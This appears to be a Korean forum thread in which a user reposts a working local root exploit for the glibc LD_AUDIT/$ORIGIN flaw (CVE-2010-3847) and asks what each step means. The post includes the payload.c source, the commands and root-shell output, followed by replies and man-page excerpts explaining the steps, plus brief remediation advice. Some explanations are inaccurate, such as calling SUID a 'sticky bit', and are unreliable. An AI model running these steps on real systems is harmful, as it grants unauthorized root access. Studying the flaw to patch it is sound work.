RHEL, CentOS 취약성 root권한 획득 과정 설명좀 해주세요

pogusm의 이미지

아래는 http://cafe.daum.net/redhat/D4GV/17 에서 발췌한 내용입니다.

문서번호는 CVE-2010-3847로 해당 취약성은 sticky bit를 가지는 명령어(ping,passwd등.. )를 
다이나믹 링크(ld.so)를 통해 실행하면서 발견된 문제로 , 일반계정 사용자가 쉽게 이 취약성을
이용해 root계정을 획득하게되는 중요한 보안 이슈 입니다.
실제 패키지는 glibc상의 소스코드상의 취약성입니다.
아래는 일반계정으로 root계정을 득하는 예제입니다.
RHEL 5와 RHEL 6(CENT OS 포함)에서 모두 가능합니다.
 
성공적으로 이 취약성을 이용하려면 SUID또는 SGID 바이너리가 공격자가 해당 디렉토리를 쓰는
권한을 가지고 같은 파일시스템에 위치해야 한다. 예를 들어 , /tmp와 /usr 이 둘다 / 상에
올라가 있다면 필요한 조건이 충족된 것이고, glibc 라이브러리 로더는 수정된 코드를 로딩하여
속일 수 있고 실행할 수 있는 SUID또는 SGID의 권한 으로 실행될 수 있다. 
 
>>> 이 취약성에 해당되는 버젼(Tested) 
RedHat Enterprise Server 5.x
CentOS 5.x
페도라 13 
Ubuntu 10
 
http://seclists.org/fulldisclosure/2010/Oct/257
CVE-2010-3847
 
 
>>>취약성 점검 방법(root 권한 획득)
 
우선 일반계정으로 SSH또는 TELNET등으로 접속 한후 아래의 진행
 
$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D (ctrl +d)
 
 
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root
 
이제 ROOT권한을 획득하였음. 
 
>>> 이에 대한 해결안 대략 2가지
1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것
2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것

위 내용을 따라 해보니 진짜 root권한을 갖게 되더라구요..
근데 너무 지식이 없다보니.. 어떻게 질문을 해야하는지 조차 잘 모르겠네요.. ㅋ

그래도 일단 궁금한대로 질문을 해보겠습니다.

1. $ exec 3< /tmp/exploit/target 라는 명령은 무얼 의미하나요?
위 명령을 실행하면
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
라는 또 다른 링크가 생성되는거 같은데.. /proc/16189/fd/ 의 용도는 무엇인가요?

2. payload.c 에서 main 함수로 수정해 보니 제대로 작동하지 않던데,
왜 꼭 main함수보다 먼저 실행되는 void __attribute__((constructor)) 으로 작성해야만 제대로 작동하는 이유는 뭔가요?

3. $ gcc -w -fPIC -shared -o /tmp/exploit payload.c 컴파일 옵션에 대해서도 설명좀 해주시면 고맙겠습니다.

4. $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 이 행은 도대체 뭔가요? LD_AUDIT, \$ORIGIN 다 모르겠습니다 ㅠㅠ

5. glibc 은 주로 무슨 용도로 사용되는 건가요?

6. "다이나믹 링크(ld.so)를 통해 실행되면서 발견된 문제..." 라고 하는데
위의 과정중 어느 부분에서 /bin/ping이 동적링크로 어디서 어떻게 실행되는건가요?

전부가 아니더라도
일부만이라도 아시는것이 있다면 리플로 답변을 남겨주시면 고맙겠습니다.

감사합니다.

----- 찾아본 내용들 (2012.2.3)

/proc/$$/fd/3

1. exec 명령어는 bash의 빌트인 명령어이다 (# man bash)
exec [[-] 명령 [인수]] : 명령을 명시하면 그 명령으로 쉘 프로세스를 교체한다. 새로운 프로세스는 만들어지지 않는다.

2. fd는 File Descriptor 를 의미하는것 같다. 파일 디스크립터는 표준입력 STDIN = 0, 표준출력 STDOUT = 1, 표준에러 STDERR = 2 에 관한 것들이다.

3. $$는 현재 bash의 PID를 뜻한다. (# ps 한후 # echo $$ 해보면 확인가능)

4. 3< 은, 표준입력-표준출력-표준에러 이외의 추가적인 "파일 디스크립터"를 만든다는 의미일까?

여전히 $ exec 3< /tmp/exploit/target 의 정확한 의미는 모르겠다.

--------
(2012.2.3)

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

-w 옵션 : 모든 경고 메시지가 나오지 않도록

-fPIC 옵션 : 위치에 독립적인 코드를 만들어라

-shared 옵션 : 가능한 한 공유 라이브러리와 링크하고 공유 라이브러리가 없는 경우에는 정적 라이브러리와 링크

--------
(2012.2.4)

http://pubs.opengroup.org/onlinepubs/007904975/utilities/exec.html

EXAMPLES

Open readfile as file descriptor 3 for reading:

exec 3< readfile

Open writefile as file descriptor 4 for writing:

exec 4> writefile

Make file descriptor 5 a copy of file descriptor 0:

exec 5<&0

Close file descriptor 3:

exec 3<&-

Cat the file maggie by replacing the current shell with the cat utility:

exec cat maggie

----------
(2012.2.4)

[pogusm@localhost temp]$ pwd
/home/pogusm/temp
[pogusm@localhost temp]$ cat > test3
This is nothing....
[pogusm@localhost temp]$ exec 3< test3
[pogusm@localhost temp]$ exec 4> test4
[pogusm@localhost temp]$ ll /proc/$$/fd
합계 0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 0 -> /dev/pts/0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 1 -> /dev/pts/0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 2 -> /dev/pts/0
lrwx------. 1 pogusm pogusm 64 2012-02-04 10:45 255 -> /dev/pts/0
lr-x------. 1 pogusm pogusm 64 2012-02-04 11:01 3 -> /home/pogusm/temp/test3
l-wx------. 1 pogusm pogusm 64 2012-02-04 11:01 4 -> /home/pogusm/temp/test4
[pogusm@localhost temp]$ cat test4
[pogusm@localhost temp]$ echo "bbbbb" >&4
[pogusm@localhost temp]$ cat test4
bbbbb
[pogusm@localhost temp]$ cat <&3
This is nothing....

---------------
(2012.2.4)
http://www.kernel.org/doc/man-pages/online/pages/man8/ld.so.8.html

LD_AUDIT
(glibc since 2.4) A colon-separated list of user-specified, ELF shared
objects to be loaded before all others in a separate linker namespace
(i.e., one that does not intrude upon the normal symbol bindings that
would occur in the process). These libraries can be used to audit the
operation of the dynamic linker. LD_AUDIT is ignored for set-user-
ID/set-group-ID binaries.

The dynamic linker will notify the audit libraries at so-called
auditing checkpoints--for example, loading a new library, resolving a
symbol, or calling a symbol from another shared object--by calling an
appropriate function within the audit library. For details, see rtld-
audit(7). The auditing interface is largely compatible with that
provided on Solaris, as described in its Linker and Libraries Guide, in
the chapter Runtime Linker Auditing Interface.

$ORIGIN and rpath

ld.so understands the string $ORIGIN (or equivalently ${ORIGIN}) in an rpath
specification (DT_RPATH or DT_RUNPATH) to mean the directory containing the
application executable. Thus, an application located in somedir/app could be
compiled with gcc -Wl,-rpath,'$ORIGIN/../lib' so that it finds an associated
shared library in somedir/lib no matter where somedir is located in the
directory hierarchy. This facilitates the creation of "turn-key" applications
that do not need to be installed into special directories, but can instead be
unpacked into any directory and still find their own shared libraries.

(번역좀 부탁드립니다...)
--------------

pogusm의 이미지

/proc/$$/fd/3

1. exec 명령어는 bash의 빌트인 명령어이다 (# man bash)
exec [[-] 명령 [인수]] : 명령을 명시하면 그 명령으로 쉘 프로세스를 교체한다. 새로운 프로세스는 만들어지지 않는다.

2. fd는 File Descriptor 를 의미하는것 같다. 파일 디스크립터는 표준입력 STDIN = 0, 표준출력 STDOUT = 1, 표준에러 STDERR = 2 에 관한 것들이다.

3. $$는 현재 bash의 PID를 뜻한다. (# ps 한후 # echo $$ 해보면 확인가능)

4. 3< 은, 표준입력-표준출력-표준에러 이외의 추가적인 "파일 디스크립터"를 만든다는 의미일까?

여전히 $ exec 3< /tmp/exploit/target 의 정확한 의미는 모르겠다.

익명 사용자의 이미지

1. /tmp/payload 작성
2. /tmp/exploit/디렉토리 작성
3. ln /bin/ping /tmp/exploit/target
-> ping명령어의 링크가 /tmp/exploit/target로 만들어집니다.
4. exec 3< /tmp/exploit/target
-> 현재 쉘에서 3번fd로 /tmp/exploit/target을 엽니다(read)
exec는 해당 명령어로 현재 쉘을 교체한다는 뜻이지만 3< 와 같이 사용할경우 3번 fd로 파일을 열게 됩니다.
5. ls -l /proc/$$/fd/3
-> $$는 현재 프로세스의 번호를 나타냅니다.
/proc/ 밑에 있는 파일은 실제 파일이나 디렉터리가 아니고 프로세스 정보를 디렉토리 구조로 보여주는 것입니다.
정리하자면 현재 쉘을 처리하고 있는 프로세스에서 3번 fd로 target을 연다는 뜻입니다.

아래와 같이 나오는 것은 3번 fd에 /tmp/exploit/target을 읽기용으로 열고 있다는 뜻입니다.
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
6. rm -rf /tmp/exploit/
-> /tmp/exploit을 해당 디렉토리와 하위의 모든 파일을 삭제합니다.
현재 쉘이 살아있고 fd를 닫지 않았기때문에 ls를 쳐보면 deleted라고 나옵니다.

7. gcc -w -fPIC -shared -o /tmp/exploit payload.c
-> payload.c를 컴파일한 결과물을 조금전에 삭제한 /tmp/exploit에 덮어씌웁니다.
8. LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
-> 이 줄을 실행하면 위에 5번에 나왔던 3번 fd에 링크된 ping을 실행하는데
링크 처리를 위해 ld.so가 호출되는데 ld.so에서 초기화시 호출되는 init()을 덮어써버려서
또 ld.so가 sticky 비트가 설정되있기 때문에 루트권한으로 payload.c가 대신 호출되는것같습니다.
소스 내용을 보면 쉘을 실행하게 되있기때문에 결과적으로 루트 유저로 자기 맘대로 할수 있게 됩니다.

해킹에 해자도 모르는 제가 프로그래밍 지식만으로 해석해봤습니다 ㄷㄷㄷ
역시 어렵네요..

pogusm의 이미지

좋은 답변 감사합니다.
어느정도 그 흐름이 이해가 되는듯 합니다.

"ld.so에서 초기화시 호출되는 init()을 덮어써버려서.." 라는 내용이 정말 신기하네요

정말 감사합니다.

ps. 그리고 혹시 LD_AUDIT="\$ORIGIN 의 역할이 무엇인지 아시면 설명좀.... ^^;

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.